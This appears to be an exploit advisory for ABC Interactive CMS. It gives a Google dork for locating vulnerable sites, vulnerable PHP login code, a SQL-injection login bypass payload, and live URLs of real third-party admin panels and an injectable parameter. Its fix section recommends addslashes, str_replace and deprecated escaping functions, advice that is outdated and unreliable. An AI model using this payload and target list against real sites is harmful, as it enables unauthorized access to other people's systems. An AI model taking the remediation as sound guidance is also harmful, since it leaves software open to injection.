ABC INTERACTIVE CMS Bypass & SQL Injection

2017.05.09
ir MrHoudini (IR) ir
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title : ABC INTERACTIVE CMS Bypass & SQL Injection # Google Dork : intext:"Web Design & code: ABC INTERACTIVE" # Discovered By : MrHoudini # Contact Me : Mr.Houdini77@Gmail.com # My WebSite: www.MrHoudini.ir # Date : 9-5-2017 # Vendor Homepage : https://www.abcinteractive.it [!] Description.: SQL injection attacks usually targets database and all of them are the results of programming errors. If programmer couldn't checked the inputs correctly, so the attacker can send his/her commands to database. If programmer do this errors at admin page input and the inputs haven't been checked correctly, occur a very bad thing that allow attacker login to administrator panel with combination the passwords that turn the result to True in php. Request Method : [+] POST Vulnerable Module: [+] Login Vulnerable Parameter: [+](username) and (Password) ================================================== [!] Bug.........: <?php require_once('any.php'); if($_POST['submit']) { $user=$_POST['user']; $pswd=$_POST['pswd']; $result=mysql_query("select * from login where user='$user' and pswd='$pswd'"); $rowcount=mysql_num_rows($result); if($rowcount>0) { header('Location:any.php'); } else { echo "bad user"; } } ?> ================================================== [!] PoC.........: To bypass the admin login: '= 'or' ================================================== [!] Live Demo. For Admin Page : http://www.matericum.com/controlPanel/html/ https://www.abcinteractive.it/controlPanel/ http://www.agencylab.it/controlPanel/html/ Url Target Admin Panel : http://site.com/controlPanel/html/ [!] Live Demo. For SQL Injection : http://www.matericum.com/essenza.php?id=10 ================================================== [!] Solution...: PHP functions can be averted with the bug Check input variable: --ctype_digit --ctype_alnum And other ctype & gettype family functions *String entries with the database functions --mysql_real_escape_string or sqlite_escape_string or .... -If functions are not available in the database --str_replace , addslashes


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top